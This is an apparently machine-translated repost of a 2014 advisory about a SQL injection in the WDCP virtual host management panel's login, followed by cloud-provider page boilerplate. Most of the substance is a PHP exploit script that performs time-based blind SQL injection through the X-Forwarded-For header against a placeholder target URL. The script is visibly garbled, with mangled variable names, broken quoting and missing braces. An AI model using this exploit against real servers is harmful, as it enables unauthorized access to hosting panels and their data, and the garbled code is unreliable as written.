WDCP Virtual Host Management System Injection vulnerability

Source: Internet
Author: User
Date: 2014-05-13 | Source: Great Doll | Life Injection Point | 287 people on lookers

WDCP Server/Virtual Host management system landing box Injection vulnerability.

passwd field There is an injection risk, the selection limit character length is 30. I think Daniel can get around.

The following is a script for exploiting vulnerabilities released by the Great Doll
<?php
$id =$_get["id"];
$id 2=$_get["Id2"];
$post _data = ' username=admin&passwd=bbbbbb\&submit_login=aaaassss ';
$url = ' http://xxx:8080/';
$starttime = time ();
$ch = Curl_init ();
curl_setopt ($ch, Curlopt_post, 1);
curl_setopt ($ch, Curlopt_url, $url);
curl_setopt ($ch, Curlopt_timeout, 3);
curl_setopt ($ch, Curlopt_httpheader, Array (' X-forwarded-for:, ('. $id. '), char (65), 1) #);
curl_setopt ($ch, Curlopt_postfields, $post _data);
Ob_start ();
Curl_exec ($ch);
$result = Ob_get_contents ();
Ob_end_clean ();
$endtime = time ();
if ($endtime-$starttime >=3) {
Exit ($id. "is". Chr ($id 2));
echo $result;
?>


Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.